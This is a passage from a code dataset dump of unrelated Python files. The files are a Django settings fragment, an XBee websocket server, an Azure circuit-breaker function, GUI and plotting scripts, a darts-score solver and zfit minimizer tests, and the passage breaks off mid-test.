\"version\": 1,\n \"disable_existing_loggers\": False,\n \"formatters\": {\n \"verbose\": {\n \"format\": (\n \"%(name)s:%(lineno)s %(levelname)s %(asctime)s %(module)s \"\n \"%(process)d %(thread)d %(message)s\"\n )\n },\n \"simple\": {\"format\": \"%(levelname)s %(asctime)s %(message)s\"},\n },\n \"handlers\": {\n \"stream\": {\n \"level\": \"DEBUG\",\n \"class\": \"logging.StreamHandler\",\n \"formatter\": \"verbose\",\n }\n },\n \"loggers\": {\n \"\": {\"handlers\": [\"stream\"], \"level\": LOG_LEVEL},\n \"django.db\": {\"handlers\": [\"stream\"], \"level\": LOG_LEVEL},\n \"z.pool\": {\"handlers\": [\"stream\"], \"level\": LOG_LEVEL},\n \"django.server\": {\"handlers\": [\"stream\"], \"level\": \"WARNING\"},\n \"django\": {\"handlers\": [\"stream\"], \"level\": LOG_LEVEL},\n \"app.convergys\": {\"handlers\": [\"stream\"], \"level\": \"DEBUG\", \"propagate\": False},\n },\n}\n\n# Templates\n# =====================================\n\nTEMPLATES = [\n {\n \"BACKEND\": \"django.template.backends.django.DjangoTemplates\",\n \"DIRS\": (APP_PATH(\"overrides/templates\"), \"templates\"),\n \"APP_DIRS\": True,\n \"OPTIONS\": {\n \"context_processors\": (\n \"django.contrib.auth.context_processors.auth\",\n \"django.template.context_processors.debug\",\n \"django.template.context_processors.i18n\",\n \"django.template.context_processors.media\",\n \"django.template.context_processors.static\",\n \"django.template.context_processors.tz\",\n \"django.contrib.messages.context_processors.messages\",\n \"django.template.context_processors.request\",\n )\n },\n }\n]\n\n# Staticfiles\n# =====================================\n\nSTATIC_ROOT = PROJECT_PATH(\"collected-static\")\n\nSTATIC_URL = \"/static/\"\n\n# Add project/static to staticfile resolution\n# Entries here are eligible for `collectstatic` as well\n# See:\n# https://docs.djangoproject.com/en/dev/ref/contrib/staticfiles/#collectstatic\nSTATICFILES_DIRS = (PROJECT_PATH(\"static\"),)\n\nSTATICFILES_FINDERS = (\n \"django.contrib.staticfiles.finders.FileSystemFinder\",\n \"django.contrib.staticfiles.finders.AppDirectoriesFinder\",\n)\n\nSERVE_STATIC = False\n\nMEDIA_ROOT = PROJECT_PATH(\"media\")\n\nMEDIA_URL = \"/media/\"\n\nSTATICFILES_STORAGE = env(\n \"STATICFILES_STORAGE\",\n default=\"django.contrib.staticfiles.storage.StaticFilesStorage\",\n)\n\nWHITENOISE_MAX_AGE = env.int(\"WHITENOISE_MAX_AGE\", default=0)\n\nWHITENOISE_KEEP_ONLY_HASHED_FILES = env.bool(\n \"WHITENOISE_KEEP_ONLY_HASHED_FILES\", default=False\n)\n\n# Locale / I18N & L10N\n# =====================================\n\nTIME_ZONE = \"America/Los_Angeles\"\n\nUSE_TZ = True\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nPREFIX_DEFAULT_LANGUAGE = False\n\nLANGUAGE_CODE = \"en\"\n\nLANGUAGES = (\n (\"en\", \"English\"),\n # Add additional / change languages here\n)\n\nLOCALE_PATHS = (PROJECT_PATH(\"app/web/locale\"),)\n\n# Authentication\n# =====================================\n\nLOGIN_REDIRECT_URL = \"/\"\n\nLOGOUT_REDIRECT_URL = \"/\"\n\nPASSWORD_HASHERS = [\n \"django.contrib.auth.hashers.PBKDF2PasswordHasher\",\n \"django.contrib.auth.hashers.PBKDF2SHA1PasswordHasher\",\n \"django.contrib.auth.hashers.BCryptSHA256PasswordHasher\",\n \"django.contrib.auth.hashers.BCryptPasswordHasher\",\n]\n\nAUTH_PASSWORD_VALIDATORS = [\n {\n \"NAME\": \"django.contrib.auth.password_validation.UserAttributeSimilarityValidator\"\n },\n {\"NAME\": \"django.contrib.auth.password_validation.MinimumLengthValidator\"},\n {\"NAME\": \"django.contrib.auth.password_validation.CommonPasswordValidator\"},\n {\"NAME\": \"django.contrib.auth.password_validation.NumericPasswordValidator\"},\n]\n\n# Cache\n# =====================================\n\nCACHE_TIMEOUT = env(\"CACHE_TIMEOUT\", default=60 * 60)\n\nCACHES = {\n \"default\": {\n \"BACKEND\": \"django.core.cache.backends.locmem.LocMemCache\",\n \"TIMEOUT\": CACHE_TIMEOUT,\n }\n}\n\nREDIS_URL = env(\"REDIS_URL\", default=\"\")\n\nif REDIS_URL:\n CACHES[\"default\"][\"BACKEND\"] = \"redis_cache.RedisCache\"\n CACHES[\"default\"][\"LOCATION\"] = REDIS_URL\n\n\n# Celery\n# =====================================\n\nCELERY_BROKER_URL = REDIS_URL\n\nCELERY_RESULT_BACKEND = REDIS_URL\n\n# Parler\n# =====================================\n\nPARLER_LANGUAGES = {\n # Fix issue with parler and DjangoCMS\n # See: https://goo.gl/Gs33Lm\n 1: ({\"code\": \"en\"},),\n \"default\": {\"fallback\": \"en\", \"hide_untranslated\": False},\n}\n\nPARLER_DEFAULT_LANGUAGE_CODE = \"en\"\n\n# Thumbnails\n# =====================================\n\nTHUMBNAIL_PROCESSORS = (\n \"easy_thumbnails.processors.colorspace\",\n \"easy_thumbnails.processors.autocrop\",\n \"easy_thumbnails.processors.filters\",\n)\n\n# Crispy Forms\n# =====================================\n\nCRISPY_TEMPLATE_PACK = \"bootstrap4\"\n\n# Rest Framework\n# =====================================\n\nREST_FRAMEWORK = {\n \"DEFAULT_AUTHENTICATION_CLASSES\": (\n \"rest_framework.authentication.TokenAuthentication\",\n ),\n \"DEFAULT_PERMISSION_CLASSES\": (\"rest_framework.permissions.IsAuthenticated\",),\n \"DEFAULT_PARSER_CLASSES\": [\"rest_framework.parsers.JSONParser\",],\n \"DEFAULT_RENDERER_CLASSES\": [\"rest_framework.renderers.JSONRenderer\"],\n}\n\n# Google\n# =====================================\n\nGOOGLE_API_KEY = env(\"GOOGLE_API_KEY\", default=\"\")\n\nGTM_CODE = env(\"GTM_CODE\", default=\"\")\n\n# Favicon\n# =====================================\n\nFAVICON = {\n \"favicon_version\": env(\"FAVICON_VERSION\", default=\"\"),\n \"favicon_asset_base_path\": \"/favicon/\",\n \"favicon_assets\": [\n # TODO: Update (see app/favicon/README.md)\n \"favicon.ico\"\n ],\n}\n\n# Django Debug Toolbar\n# =====================================\n# See: https://django-debug-toolbar.readthedocs.io/en/latest/index.html\n\n\ndef show_toolbar(request):\n return DEBUG\n\n\nDEBUG_TOOLBAR_CONFIG = {\n \"SHOW_COLLAPSED\": True,\n \"SHOW_TOOLBAR_CALLBACK\": show_toolbar,\n \"RENDER_PANELS\": False,\n \"RESULTS_CACHE_SIZE\": 5,\n}\n\n# NOTE: More panels are available!\n# See: https://django-debug-toolbar.readthedocs.io/en/latest/panels.html\nDEBUG_TOOLBAR_PANELS = [\n \"debug_toolbar.panels.versions.VersionsPanel\",\n \"debug_toolbar.panels.sql.SQLPanel\",\n \"debug_toolbar.panels.templates.TemplatesPanel\",\n]\n","sub_path":"django/project/app/config/settings/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":11900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"442078591","text":"import digi.xbee.devices\nimport asyncio\nimport websockets\nimport datetime\nimport sys\nimport json\nimport queue\nimport multiprocessing\nimport getopt\nimport threading\nimport common\nimport sil_server_gui_pb2\nimport sil_car_server_pb2\nimport google.protobuf.json_format\nimport conversions\n\n_version = \"0.1.0.0\"\n\n\nclass Client:\n def __init__(self, server, socket, path, level):\n self.server = server\n self.websocket = socket\n self.path = path\n self.producer = None\n self.queue = asyncio.Queue()\n self.stopped = False\n\n self.logger = common.init_logger(\"Client_%s\" % self.path.strip(\"/\"), level)\n\n def __del__(self):\n self.stopped = True\n\n async def send(self, data):\n await self.queue.put(data)\n\n async def run(self):\n self.logger.info(\"Running.\")\n while not self.stopped:\n data = await self.queue.get()\n self.logger.debug(\"Received data to send %s.\" % data)\n try:\n await self.websocket.send(data)\n except websockets.ConnectionClosed:\n self.logger.info(\"Connection closed.\")\n self.stopped = True\n except websockets.ConnectionClosedError as error:\n self.logger.error(\"Connection error: %s.\" % repr(error))\n self.stopped = True\n else:\n self.logger.debug(\"Sent %s.\" % data)\n\n\nclass Server(threading.Thread):\n def __init__(self, ip, port, level):\n super().__init__()\n self.startServer = None\n self.ip = ip\n self.port = port\n self.queue = multiprocessing.Queue()\n self.clients = {}\n self.isRunningQ = multiprocessing.Queue()\n self.isRunning = True\n self.level = level\n self.loop = None\n self.stop = False\n self.queue = queue.Queue()\n self.loop = None\n self.stopped = False\n\n self.logger = common.init_logger(\"Server\", level)\n\n def __enter__(self):\n self.start()\n return self.queue\n\n def run(self):\n self.loop = asyncio.new_event_loop()\n asyncio.set_event_loop(self.loop)\n\n self.logger.info(\"Starting server with ip %s port %s.\" % (self.ip, self.port))\n\n asyncio.get_event_loop().run_until_complete(websockets.serve(self.client_handler, self.ip, self.port))\n asyncio.get_event_loop().create_task(self.distribute())\n asyncio.get_event_loop().run_forever()\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n if exc_tb is None:\n self.logger.info(\"Successful.\")\n else:\n self.logger.error(\"An exception occurred during execution: \\n%s %s %s.\" % (exc_type, exc_val, exc_tb))\n\n try:\n for task in asyncio.all_tasks():\n task.cancel()\n finally:\n self.logger.info(\"Server ended all tasks.\")\n\n async def client_handler(self, websocket, path):\n self.logger.info(\"Server handling new client %s.\" % path)\n if path in self.clients:\n del self.clients[path]\n\n self.clients[path] = Client(self, websocket, path, self.level)\n await self.clients[path].run()\n\n async def distribute(self):\n while not self.stopped:\n try:\n data = self.queue.get_nowait()\n except queue.Empty:\n await asyncio.sleep(0.001)\n else:\n self.logger.debug(\"Distributing data %s.\" % data)\n for path, client in self.clients.items():\n self.logger.debug(\"Distributing to %s.\" % path)\n await client.send(data)\n\n def stop(self):\n self.logger.debug(\"Stopping all clients\")\n for path, client in self.clients.items():\n self.logger.debug(\"Stopping %s.\" % path)\n del client\n\n\nclass XbeeServer:\n def __init__(self, ip, port, com, baud, level):\n self.ip = ip\n self.port = port\n self.baud = baud\n self.conversions = {}\n self.device = None\n self.com = com\n self.queue = None\n self.level = level\n\n self.logger = common.init_logger(\"XbeeServer\", level)\n\n def __enter__(self):\n self.load_conversions()\n self.attach_xbee()\n self.queue = queue.Queue()\n\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n if exc_tb is None:\n self.logger.info(\"Server was successful.\")\n del self.server\n else:\n self.logger.error(\"An exception occurred during execution: \\n%s %s %s.\" % (exc_type, exc_val, exc_tb))\n\n self.device.del_data_received_callback(self.xbee_data_recv)\n self.device.close()\n\n def load_conversions(self):\n file = \"../%s.json\" % \"conversions\"\n self.logger.info(\"Loading conversions file %s.\" % file)\n\n with open(file, \"r\") as f:\n self.conversions = json.load(f)\n\n self.logger.info(\"Successfully loaded conversions file.\")\n self.logger.debug(self.conversions)\n\n def attach_xbee(self):\n try:\n self.device = digi.xbee.devices.XBeeDevice(\"%s\" % self.com, self.baud)\n self.device.open()\n self.device.add_data_received_callback(self.xbee_data_recv)\n except Exception as error:\n raise ConnectionError(\"Unable to connect to Xbee device %s.\" % repr(error))\n else:\n self.logger.info(\"Connected to Xbee device.\")\n\n def xbee_data_recv(self, xbee_message):\n self.logger.debug(\"Server obtained new Xbee data.\")\n self.logger.debug(\"Xbee data %s.\" % xbee_message.data)\n\n messageWrapper = sil_car_server_pb2.WrapperMessage()\n messageWrapper.ParseFromString(xbee_message.data)\n\n self.queue.put(messageWrapper)\n\n def run(self):\n conv = conversions.Conversion()\n\n with Server(self.ip, self.port, self.level) as server:\n while True:\n messageWrapper = self.queue.get()\n\n self.logger.debug(\"Received proto message %s.\" % messageWrapper)\n\n protoToDict = google.protobuf.json_format.MessageToDict(messageWrapper)\n convertedDict = conv.handle(protoToDict)\n\n messageWrapperConverted = sil_server_gui_pb2.WrapperMessage()\n google.protobuf.json_format.ParseDict(convertedDict, messageWrapperConverted)\n\n self.logger.debug(\"Rebuild message %s.\" % messageWrapperConverted)\n msg = messageWrapperConverted.SerializeToString()\n\n server.put(msg)\n\n self.logger.info(\"Server closing\")\n\n\ndef main(name, argv):\n ip = \"localhost\"\n port = 18095\n com = None\n level = \"warning\"\n baud = 115200\n\n try:\n opts, args = getopt.getopt(argv, \"hi:p:c:l:b:\")\n except getopt.GetoptError:\n print('-i -p ')\n for opt, arg in opts:\n if opt == '-h':\n print('-i -p ')\n sys.exit()\n elif opt in \"-i\":\n ip = arg\n elif opt in \"-p\":\n port = arg\n elif opt in \"-c\":\n com = arg\n elif opt in \"-l\":\n level = arg\n elif opt in \"-b\":\n baud = arg\n\n with XbeeServer(ip, port, com, baud, level) as server:\n server.run()\n\n\nif __name__ == \"__main__\":\n main(sys.argv[0], sys.argv[1:])\n","sub_path":"Python/server/src/xbeeserver.py","file_name":"xbeeserver.py","file_ext":"py","file_size_in_byte":7376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"225327204","text":"import logging\r\nimport os\r\n\r\nimport aiohttp\r\nfrom uuid import uuid4\r\nimport azure.functions as func\r\n\r\nfrom shared.utils import polling_durable, call_backend\r\n\r\n\r\nasync def main(timer: func.TimerRequest):\r\n logging.info('Python HTTP trigger function processed a request.')\r\n\r\n CIRCUIT_URL = os.environ.get('CIRCUIT_URL')\r\n circuit_breaker_request_id = str(uuid4())\r\n col_id = str(uuid4())\r\n headers = {\r\n 'Content-Type': 'application/json',\r\n 'X-Func-Request-Id': circuit_breaker_request_id,\r\n 'X-Func-Correlation-Id': col_id\r\n }\r\n params = {\r\n 'entity_key': os.environ.get('ENTITY_KEY'),\r\n 'status': 'ok'\r\n }\r\n\r\n try:\r\n result = await polling_durable(CIRCUIT_URL, headers=headers, params=params, max_retry=5)\r\n except Exception as e:\r\n logging.exception(f'Failed to call circuit breaker.{e}')\r\n\r\n circuit_breaker_status = result['message']['status']\r\n if circuit_breaker_status == 'HalfOpen':\r\n url = os.environ.get('BACKEND_URL')\r\n backend_req_id = str(uuid4())\r\n headers = {\r\n 'Content-Type': 'application/json',\r\n 'X-Func-Request-Id': backend_req_id,\r\n 'X-Func-Correlation-Id': col_id\r\n }\r\n try:\r\n backend_result = await call_backend(url, headers=headers, params=params, max_retry=1)\r\n except Exception as e:\r\n logging.exception(f'Failed to call backend {e}')\r\n\r\n if backend_result['backend_status'] == 200 and circuit_breaker_status == 'HalfOpen':\r\n SUCCESS_URL = os.environ.get('SUCCESS_URL')\r\n async with aiohttp.ClientSession() as session:\r\n async with session.get(SUCCESS_URL, headers=headers, params=params) as response:\r\n if response.status == 200:\r\n result = response.text()\r\n logging.info(\r\n 'Succeeded to call backend in HalfOpen. Add success count.')\r\n else:\r\n result = response.text()\r\n logging.error('Failed to call backend in HalfOpen.')\r\n else:\r\n logging.info(\r\n f'Circuit Breaker is not HalfOpen. Current Status is {circuit_breaker_status}'\r\n )\r\n\r\n logging.info(f'Function processed Successfully.')\r\n","sub_path":"client/check_status/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"10902760","text":"import matplotlib\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.ticker as mticker\r\nimport matplotlib.dates as mdates\r\nimport numpy as np\r\nimport datetime\r\n\r\n\r\ndef graphRawFX():\r\n date = np.genfromtxt('GBPUSD.txt',dtype=\"str\", delimiter=\",\", usecols=[0],\r\n converters={0: lambda x: datetime.datetime.strptime(x.decode(\"utf-8\"), '%d.%m.%Y %H:%M:%S.%f')})\r\n print('Dates Read')\r\n ask,bid,vask,vbid = np.genfromtxt('GBPUSD.txt',dtype=\"str\", delimiter=\",\", usecols=[1,2,3,4],\r\n unpack=True)\r\n print('Numbers read')\r\n\r\n fig=plt.figure(figsize=(10, 7))\r\n ax1 = plt.subplot2grid((40, 40), (0, 0), rowspan=40, colspan=40)\r\n\r\n ax1.plot(date, bid)\r\n ax1.plot(date, ask)\r\n\r\n ax1.xaxis.set_major_formatter(mdates.DateFormatter('%Y-%m-%d %H:%M:%S'))\r\n\r\n plt.grid(True)\r\n plt.show()\r\n\r\ngraphRawFX()\r\n\r\nprint('test')\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"329128020","text":"\n\nimport sqlite3\nfrom utils import display\nfrom gui.fct_comp_8 import Ui_fct_comp_8\nfrom PyQt5.QtWidgets import QDialog\nfrom PyQt5.QtCore import pyqtSlot\n# Classe permettant d'afficher la fonction à compléter 8\n\nclass AppFctComp8(QDialog):\n ui = Ui_fct_comp_8()\n\n # Constructeur\n def __init__(self, data: sqlite3.Connection):\n super(QDialog, self).__init__()\n self.ui.setupUi(self)\n self.data = data\n self.refreshResult()\n self.refresh_noSpec()\n self.refresh_s_noSpec()\n\n # Fonction de mise à jour de l'affichage\n def refreshResult(self):\n display.refreshLabel(self.ui.label_mid, \"\")\n try:\n cursor = self.data.cursor()\n result = cursor.execute(\n \"SELECT noSpec,dateRep,nbPlacesDispo FROM LesRepresentations\")\n\n except Exception as e:\n self.ui.table_fct_8.setRowCount(0)\n display.refreshLabel(self.ui.label_mid, \"Impossible d'afficher les résultats : \" + repr(e))\n else:\n display.refreshGenericData(self.ui.table_fct_8, result)\n\n def refresh_noSpec(self):\n try:\n cursor = self.data.cursor()\n result = cursor.execute(\"SELECT distinct noSpec FROM LesRepresentations_base\")\n except Exception as e:\n self.ui.box_sp_a.clear()\n else:\n display.refreshGenericCombo(self.ui.box_sp_a, result)\n\n def add_representation(self):\n if not self.ui.lineEdit.text().strip():\n display.refreshLabel(self.ui.label_mid, \"dateReprésentation ne doit pas être null.\")\n else:\n try:\n cursor = self.data.cursor()\n cursor.execute(\"INSERT INTO LesRepresentations_base VALUES (?,?)\",\n [self.ui.box_sp_a.currentText().strip(), self.ui.lineEdit.text().strip()])\n except Exception as e:\n self.ui.box_sp_a.clear()\n self.ui.lineEdit.clear()\n display.refreshLabel(self.ui.label_mid, \"Impossible d'ajouter la représentation: \" + repr(e))\n else:\n self.ui.lineEdit.clear()\n self.refreshResult()\n\n\n def refresh_s_noSpec(self):\n try:\n cursor = self.data.cursor()\n result = cursor.execute(\"SELECT distinct noSpec FROM LesRepresentations_base\")\n except Exception as e:\n self.ui.box_sp_s.clear()\n else:\n display.refreshGenericCombo(self.ui.box_sp_s, result)\n\n def refresh_s_dateRep(self):\n try:\n cursor = self.data.cursor()\n result = cursor.execute(\"SELECT dateRep FROM LesRepresentations_base WHERE noSpec = ?\",\n [self.ui.box_sp_s.currentText().strip()])\n except Exception as e:\n self.ui.box_dr_s.clear()\n else:\n display.refreshGenericCombo(self.ui.box_dr_s, result)\n\n def delete_representation(self):\n if not self.ui.box_sp_s.currentText().strip() or not self.ui.box_dr_s.currentText().strip():\n display.refreshLabel(self.ui.label_mid, \"Choisir des éléments pour supprimer.\")\n else:\n try:\n cursor = self.data.cursor()\n cursor.execute(\"DELETE FROM LesRepresentations_base \"\n \"where noSpec = ? and dateRep = ? \",\n [self.ui.box_sp_s.currentText().strip(),\n self.ui.box_dr_s.currentText().strip()])\n except Exception as e:\n self.ui.table_fct_8.setRowCount(0)\n display.refreshLabel(self.ui.label_mid, \"Impossible de supprimer la représentation: \" + repr(e))\n else:\n self.refreshResult()\n","sub_path":"Theatre_Project/actions/action_fct_comp_8.py","file_name":"action_fct_comp_8.py","file_ext":"py","file_size_in_byte":3761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"467250107","text":"#!/usr/bin/env python3\n# coding: utf8\n#import PySimpleGUIWeb as sg\n#import PySimpleGUIWx as sg\n#import PySimpleGUI as sg\nimport PySimpleGUIQt as sg\n\nprint(dir(sg))\nprint(sg.theme_list())\n\nsg.theme('DarkGreen')\n\nlayout = [\n [sg.Text('PySimpleGUIWeb テスト')],\n [sg.Text('名前', size=(15, 1)), sg.InputText('山田太郎')],\n [sg.Text('年齢', size=(15, 1)), sg.Spin(None, initial_value=20)],\n [sg.Text('趣味', size=(15, 1)), sg.Combo(['料理','読書','映画'])],\n [sg.Submit(button_text='実行')]\n]\n\nwindow = sg.Window('PySimpleGUIWeb テスト', layout)\n\nwhile True:\n event, values = window.read()\n if event is None:\n print('exit')\n break\n if event == '実行':\n show_message = \"名前:\" + values[0] + '\\n'\n show_message += \"年齢:\" + values[1] + '\\n'\n show_message += \"趣味:\" + values[2] + 'が入力されました。'\n print(show_message)\n sg.popup(show_message)\n\nwindow.close()\n\n","sub_path":"src/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"402537577","text":"#This function calculates esi, saturation vapor pressure relative to ice in hPa,\n#from (K. Emanuel 1994, Atmospheric Convection, Oxford UP, p. 117)\n#\n#INPUTS:\n#temp: array of Temperature (K)\n#OUTPUTS:\n#returns array of esi in hPa (!!!)\n#Chris Holloway, June 2007\n\nfrom numpy import *\n\ndef esi_calc(temp):\n temp = asarray(temp)\n esi = exp(23.33086 - (6111.72784/temp) + (0.15215 * log(temp)))\n #hold off on this - check the relevant cited document to find what relative to ICE means - I think we should be using Magnus-Tetens instead\n #UPDATE: it's correct - it was relative to ice, not ICE, and is not the same thing as what the Magnus-Tetens formula will find\n #Magnus-Tetens returns saturation vapour pressure relative to liquid; this one does it relative to ice.\n return esi\n","sub_path":"Python Scripts (py files)/esi_calc.py","file_name":"esi_calc.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"203630986","text":"N = int(input())\n\noriginal = N\n\nimpossible = [163, 166, 169, 172, 173, 175, 176, 178, 179]\n\nfor tracker in [20, 19]:\n\n dart_score = []\n\n if tracker == 19:\n dart_score = [(3, 20)]\n N = original - 60\n\n for multiplier in range(3, 0, -1):\n\n for repeat in range(3):\n\n added = False\n\n for score in range(tracker, 0, -1):\n\n if len(dart_score) < 2 and N - multiplier * score >= 0:\n dart_score.append((multiplier, score))\n N = N - multiplier * score\n added = True\n elif len(dart_score) == 2 and N - multiplier * score == 0:\n dart_score.append((multiplier, score))\n N = N - multiplier * score\n added = True\n\n if added or N == 0 or len(dart_score) == 3:\n break\n\n if N == 0 or len(dart_score) == 3:\n break\n\n if N == 0 or len(dart_score) == 3:\n break\n\n if N == 0:\n for element in dart_score:\n if element[0] == 3:\n print(\"triple \" + str(element[1]))\n elif element[0] == 2:\n print(\"double \" + str(element[1]))\n else:\n print(\"single \" + str(element[1]))\n else:\n if tracker == 19 or original in impossible:\n print(\"impossible\")\n\n if N == 0 or original in impossible:\n break\n","sub_path":"January 30/Calculating_Dart_Scores.py","file_name":"Calculating_Dart_Scores.py","file_ext":"py","file_size_in_byte":1450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"49597086","text":"import json\n\nclass DataBase:\n ''' Base class for data container '''\n def __init__(self, _name, _template):\n self.data = {}\n self.version = 0.0\n self.Name = _name\n self.Template = _template\n def Find(self, word):\n for d in self.data:\n if(d['word'] == word):\n return d\n return {}\n def ParseFile(self, filename):\n json_data = open(filename).read()\n _data = json.loads(json_data)\n self.version = _data['version']\n self.data = _data['data']\n\n#a = DataBase('q', 'w')\n#a.ParseFile('DataFiles//gccErrors.json')\n#print a.Find('incompatible')\n","sub_path":"InfoSystem/DataBase.py","file_name":"DataBase.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"297757932","text":"# Copyright (c) 2020 zfit\nfrom collections import OrderedDict\n\nimport pytest\nimport tensorflow as tf\nimport numpy as np\n\nimport zfit.minimizers.baseminimizer as zmin\nimport zfit.minimizers.optimizers_tf\n# noinspection PyUnresolvedReferences\nfrom zfit.core.testing import setup_function, teardown_function, tester\n\n\ndef teardown_function():\n zfit.settings.options['numerical_grad'] = False\n from zfit.core.testing import teardown_function as td_func\n td_func()\n\n\nfrom zfit.minimizers.minimizer_tfp import BFGS\n\ntrue_mu = 4.5\ntrue_sigma = 2\ntrue_lambda = -0.03\n\n\ndef create_loss(obs1):\n mu_param = zfit.Parameter(\"mu\", 4.3, -5., 9.,\n step_size=0.03)\n sigma_param = zfit.Parameter(\"sigma\", 1.7, 0.01, 10, step_size=0.03)\n lambda_param = zfit.Parameter(\"lambda\", -0.04, -0.5, -0.0003, step_size=0.001)\n\n gauss1 = zfit.pdf.Gauss(mu=mu_param, sigma=sigma_param, obs=obs1)\n exp1 = zfit.pdf.Exponential(lam=lambda_param, obs=obs1)\n\n sum_pdf1 = zfit.pdf.SumPDF([gauss1, exp1], 0.8)\n # load params for sampling\n with mu_param.set_value(true_mu):\n with sigma_param.set_value(true_sigma):\n with lambda_param.set_value(true_lambda):\n sampled_data = sum_pdf1.create_sampler(n=30000)\n sampled_data.resample()\n\n loss = zfit.loss.UnbinnedNLL(model=sum_pdf1, data=sampled_data)\n minimum = loss.value().numpy()\n\n return loss, minimum, (mu_param, sigma_param, lambda_param)\n\n\nminimizers = [ # minimizers, minimizer_kwargs, do error estimation\n # (zfit.minimizers.optimizers_tf.WrapOptimizer, dict(optimizer=tf.keras.optimizers.Adam(learning_rate=0.05)),\n # False),\n (zfit.minimizers.optimizers_tf.Adam, dict(learning_rate=0.05), False),\n (zfit.minimize.Minuit, {}, True),\n # (BFGS, {}, True), # TODO: reactivate BFGS! # check for one not dependent on Minuit\n # (zfit.minimize.Scipy, {}, False),\n]\n\nobs1 = zfit.Space(obs='obs1', limits=(-2.4, 9.1))\nobs1_split = (zfit.Space(obs='obs1', limits=(-2.4, 1.3))\n + zfit.Space(obs='obs1', limits=(1.3, 2.1))\n + zfit.Space(obs='obs1', limits=(2.1, 9.1)))\n\ndef test_floating_flag():\n obs = zfit.Space(\"x\", limits=(-2, 3))\n mu = zfit.Parameter(\"mu\", 1.2, -4, 6)\n sigma = zfit.Parameter(\"sigma\", 1.3, 0.1, 10)\n sigma.floating = False\n gauss = zfit.pdf.Gauss(mu=mu, sigma=sigma, obs=obs)\n normal_np = np.random.normal(loc=2., scale=3., size=10000)\n data = zfit.Data.from_numpy(obs=obs, array=normal_np)\n nll = zfit.loss.UnbinnedNLL(model=gauss, data=data)\n minimizer = zfit.minimize.Minuit()\n result = minimizer.minimize(nll, params=[mu, sigma])\n assert list(result.params.keys()) == [mu]\n assert sigma not in result.params\n\n\ndef test_dependent_param_extraction():\n obs = zfit.Space(\"x\", limits=(-2, 3))\n mu = zfit.Parameter(\"mu\", 1.2, -4, 6)\n sigma = zfit.Parameter(\"sigma\", 1.3, 0.1, 10)\n sigma1 = zfit.ComposedParameter('sigma1', lambda sigma, mu: sigma + mu, [sigma, mu])\n gauss = zfit.pdf.Gauss(mu=mu, sigma=sigma1, obs=obs)\n normal_np = np.random.normal(loc=2., scale=3., size=10)\n data = zfit.Data.from_numpy(obs=obs, array=normal_np)\n nll = zfit.loss.UnbinnedNLL(model=gauss, data=data)\n minimizer = zfit.minimize.Minuit()\n params_checked = minimizer._check_input_params(nll, params=[mu, sigma1])\n assert {mu, sigma} == set(params_checked)\n sigma.floating = False\n params_checked = minimizer._check_input_params(nll, params=[mu, sigma1])\n assert {mu, } == set(params_checked)\n\n\n# @pytest.mark.run(order=4)\n@pytest.mark.parametrize(\"chunksize\", [3000, 100000])\n# skip the numerical gradient due to memory leak bug, TF2.3 fix: https://github.com/tensorflow/tensorflow/issues/35010\n@pytest.mark.parametrize(\"num_grad\", [bo for bo in [False, True] if not bo or zfit.run.get_graph_mode()])\n@pytest.mark.parametrize(\"spaces\", [obs1, obs1_split])\n@pytest.mark.parametrize(\"minimizer_class_and_kwargs\", minimizers)\n@pytest.mark.flaky(reruns=3)\ndef test_minimizers(minimizer_class_and_kwargs, num_grad, chunksize, spaces):\n zfit.run.chunking.active = True\n zfit.run.chunking.max_n_points = chunksize\n zfit.settings.options['numerical_grad'] = num_grad\n\n # minimize_func(minimizer_class_and_kwargs, obs=spaces)\n obs = spaces\n loss, true_minimum, (mu_param, sigma_param, lambda_param) = create_loss(obs1=obs)\n\n parameter_tolerance = 0.06\n max_distance_to_min = 10.\n\n minimizer_class, minimizer_kwargs, test_error = minimizer_class_and_kwargs\n minimizer = minimizer_class(**minimizer_kwargs)\n\n # Currently not working, stop the test here. Memory leak?\n if isinstance(minimizer, BFGS) and num_grad and not zfit.run.mode['graph']:\n return\n\n result = minimizer.minimize(loss=loss)\n cur_val = loss.value().numpy()\n aval, bval, cval = [zfit.run(v) for v in (mu_param, sigma_param, lambda_param)]\n\n assert true_minimum == pytest.approx(cur_val, abs=max_distance_to_min)\n assert true_mu == pytest.approx(aval, abs=parameter_tolerance)\n assert true_sigma == pytest.approx(bval, abs=parameter_tolerance)\n assert true_lambda == pytest.approx(cval, abs=parameter_tolerance)\n assert result.converged\n\n # Test Hesse\n if test_error:\n methods = ['hesse_np']\n if isinstance(minimizer, zfit.minimize.Minuit):\n methods.append('minuit_hesse')\n for method in methods:\n sigma_hesse = result.hesse(params=sigma_param, method=method)\n assert tuple(sigma_hesse.keys()) == (sigma_param,)\n errors = result.hesse()\n sigma_hesse = sigma_hesse[sigma_param]\n assert abs(sigma_hesse['error']) == pytest.approx(0.0965, abs=0.15)\n assert abs(errors[sigma_param]['error']) == pytest.approx(0.0965, abs=0.15)\n assert abs(errors[lambda_param]['error']) == pytest.approx(0.01, abs=0.01)\n\n if isinstance(minimizer, zfit.minimize.Minuit):\n # Test Error\n a_errors, _ = result.errors(params=mu_param)\n assert tuple(a_errors.keys()) == (mu_param,)\n errors, _ = result.errors()\n a_error = 